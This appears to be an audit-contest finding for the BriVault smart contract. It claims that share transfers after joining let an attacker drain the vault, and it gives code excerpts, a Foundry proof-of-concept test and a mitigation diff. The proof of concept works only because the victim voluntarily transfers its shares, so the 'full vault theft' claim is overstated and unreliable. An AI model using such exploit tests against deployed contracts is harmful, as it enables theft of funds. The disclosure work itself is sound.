Submission Details
Severity:
Share transfer after join allows draiinage
Root + Impact
Description
-
When users join an event their share balance is recorded in the
userSharesToCountry -
The withdraw function uses the user's current share balance as the numerator but
totalWinnerSharesas the denominator. The problem is that since shares are transferable ERC20 tokens users can transfer shares after joining
function joinEvent(uint256 countryId) public {
// ...
uint256 participantShares = balanceOf(msg.sender);
@> userSharesToCountry[msg.sender][countryId] = participantShares; // Records balance at join time
usersAddress.push(msg.sender);
// ...
}
function _getWinnerShares () internal returns (uint256) {
for (uint256 i = 0; i < usersAddress.length; ++i){
address user = usersAddress[i];
@> totalWinnerShares += userSharesToCountry[user][winnerCountryId]; // Uses recorded values
}
return totalWinnerShares;
}
function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
@> uint256 shares = balanceOf(msg.sender); // Uses current balance
uint256 vaultAsset = finalizedVaultAsset;
@> uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares); // mismatch
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
emit Withdraw(msg.sender, assetToWithdraw);
}
Risk
Likelihood:
-
The attack requires only joining with minimal shares
-
No priviledge access required
Impact:
-
Full vault theft
-
All legitimate winners receive nothing
Proof of Concept
// SPDX-License-Identifier: MIT
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract ShareTransferDrainTest is Test {
BriVault public vault;
ERC20Mock public asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(asset, 300, block.timestamp + 1 days, makeAddr("fee"), 10e18, block.timestamp + 30 days);
string[48] memory countries;
countries[0] = "Team A";
vault.setCountry(countries);
vm.stopPrank();
// Victim deposits 1000 tokens
asset.mint(victim, 1000e18);
vm.startPrank(victim);
asset.approve(address(vault), type(uint256).max);
vault.deposit(1000e18, victim);
vault.joinEvent(0);
vm.stopPrank();
// Attacker deposits 100 tokens
asset.mint(attacker, 100e18);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vault.deposit(100e18, attacker);
vault.joinEvent(0);
vm.stopPrank();
}
function testDrainVaultViaShareTransfer() public {
// Winner set
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
vault.setWinner(0);
uint256 totalWinnerShares = vault.totalWinnerShares();
// Victim transfers all shares to attacker
vm.prank(victim);
vault.transfer(attacker, vault.balanceOf(victim));
assertGe(vault.balanceOf(attacker), totalWinnerShares);
// Attacker withdraws and drains vault
vm.prank(attacker);
vault.withdraw();
assertGt(asset.balanceOf(attacker), vault.finalizedVaultAsset() * 99 / 100);
}
}
Recommended Mitigation
+ mapping(address => uint256) public snapshotShares;
function joinEvent(uint256 countryId) public {
// ... existing checks ...
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
+ snapshotShares[msg.sender] = participantShares;
// ... rest of function ...
}
function withdraw() external winnerSet {
// ... existing checks ...
- uint256 shares = balanceOf(msg.sender);
+ uint256 shares = snapshotShares[msg.sender];
uint256 vaultAsset = finalizedVaultAsset;
uint256 assetToWithdraw = Math.mulDiv(shares, vaultAsset, totalWinnerShares);
_burn(msg.sender, shares);
IERC20(asset()).safeTransfer(msg.sender, assetToWithdraw);
}
Updates
Appeal created
bube 21 days ago
Submission Judgement Published Assigned finding tags:
Unbounded Loop in _getWinnerShares Causes Denial of Service
The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.
Duplicate registration through `joinEvent`
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.